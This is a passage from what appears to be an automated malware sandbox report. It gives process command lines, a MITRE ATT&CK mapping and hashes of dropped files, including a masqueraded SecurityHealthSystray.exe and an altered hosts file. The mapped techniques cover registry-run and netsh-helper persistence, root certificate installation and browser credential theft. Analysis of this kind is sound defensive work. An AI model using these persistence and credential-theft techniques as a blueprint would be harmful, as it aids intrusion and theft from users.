      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES656C.tmp" "c:\Users\Admin\AppData\Local\Temp\ewz040mp\CSC5E2E7873C61E48EBAF5AFC334577D0.TMP"
      4⤵
      PID:4864

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4056,i,9445584274764997943,12714240264001792460,262144 --variations-seed-version --mojo-platform-channel-handle=3896 /prefetch:8
1⤵
PID:4336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
dbb22d95851b93abf2afe8fb96a8e544

SHA1
920ec5fdb323537bcf78f7e29a4fc274e657f7a4

SHA256
e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

SHA512
16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES656C.tmp

Filesize
1KB

MD5
4b04c38673dee489f8782b9f1b00d0fb

SHA1
0451c70ae2aac20f9b825686854ac5c058a20cd5

SHA256
248bec78bd5b4c272618733cdb173c347470b0bcdca4b369ab7de5b91d158f3c

SHA512
badef6013f85e18c3b063008f527d2bc460d38d2e514a82ff2c83bb4438428a7d4a97bf17420947e244584b394436edc7f258eef46d41f066b775c33a8cc0e02

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2wkgghxy.14f.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpYNeIRAjl\Display (1).png

Filesize
418KB

MD5
873b36301e65118198cae713925f34fa

SHA1
5d6500a3e40d7d0d069502ecfc2e1ae092ba8c9c

SHA256
fd56ad6a1e76903783653142e157189bfd14f6e73b04524027d26d3946944402

SHA512
b4840ab113845dc122769896509e90a94cdc716f4844f7c3055bceccace3b0fec069796d3fd989d763d895c8f2d9339d2baadb719c47a003c6cefcefe90d43fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\ewz040mp\ewz040mp.dll

Filesize
4KB

MD5
5d79c5bea6e268e55b317d73127b4187

SHA1
75d2712811bc6377528a91da826df364b2728bd9

SHA256
0ce670ed40afa5572180b6cdc0134cdc0ccdaebefab4ca5435102d4aa7d5ff4f

SHA512
46308e076c851ea431f9c3c2aee2cc15ac78f544ddf38c23033ad97fd1006ea2661f24f7a3ce56936d99b0f5866014378e202be6e99b44b013dc32ce64f08f57

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.9MB

MD5
caf1fa6480af98c28355550668388ab3

SHA1
793510e3cfc758b970a405dfb568697b388b22f4

SHA256
125643154c12934da22ed365bacba707a3cc353cde588401f84d61e181e83cad

SHA512
a5c1d2cf802528251779de302c4d3d84578126e11f3ce2b960d17248915d6ae353ff9b6b9cfce038bde15b940e5b29115210c26a22455e108f0b70b83036fd2f

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ewz040mp\CSC5E2E7873C61E48EBAF5AFC334577D0.TMP

Filesize
652B

MD5
a7fc159048596c1518aba6519aee877d

SHA1
29b00822388ec285d9d393692352d797a506d657

SHA256
f6d2d998ea190f775392bddb9fd9b8f425097f5551631f9c7c3dbc846cf02afd

SHA512
81b7f686b0e591bbc4e3692529471341934157a560f728dbc5fe41ee9f5fdb923ddea691be95a6ca616777dfd5b14fe876641871a25d46234cd29cc799a49037

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ewz040mp\ewz040mp.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ewz040mp\ewz040mp.cmdline

Filesize
607B

MD5
6baa6a4d9f0bbcb85cdee3dfb77c612c

SHA1
d8cb4f1f5e2c52aeeedf425aacc5f5ccba0afc3e

SHA256
5dc240f3aa49173ea9e27657f662720b7496eed9c4d70a76fde7bdd0da838b6c

SHA512
02a89b4023a00fdd83e48f672075b5778caf1e836cf78070918cd89a70be74ca30b8af0e5d0c5f55baa24424a932af962f8a16432102d0d212fb6df7c72b871e

Download Submit
memory/1224-25-0x00007FFE9FD80000-0x00007FFEA0841000-memory.dmp

Filesize
10.8MB

Download
memory/1224-20-0x00007FFE9FD80000-0x00007FFEA0841000-memory.dmp

Filesize
10.8MB

Download
memory/1224-19-0x00007FFE9FD80000-0x00007FFEA0841000-memory.dmp

Filesize
10.8MB

Download
memory/1224-18-0x000002ADDF600000-0x000002ADDF622000-memory.dmp

Filesize
136KB

Download
memory/1224-8-0x00007FFE9FD83000-0x00007FFE9FD85000-memory.dmp

Filesize
8KB

Download
memory/4024-70-0x00000120C13A0000-0x00000120C13A8000-memory.dmp

Filesize
32KB

Download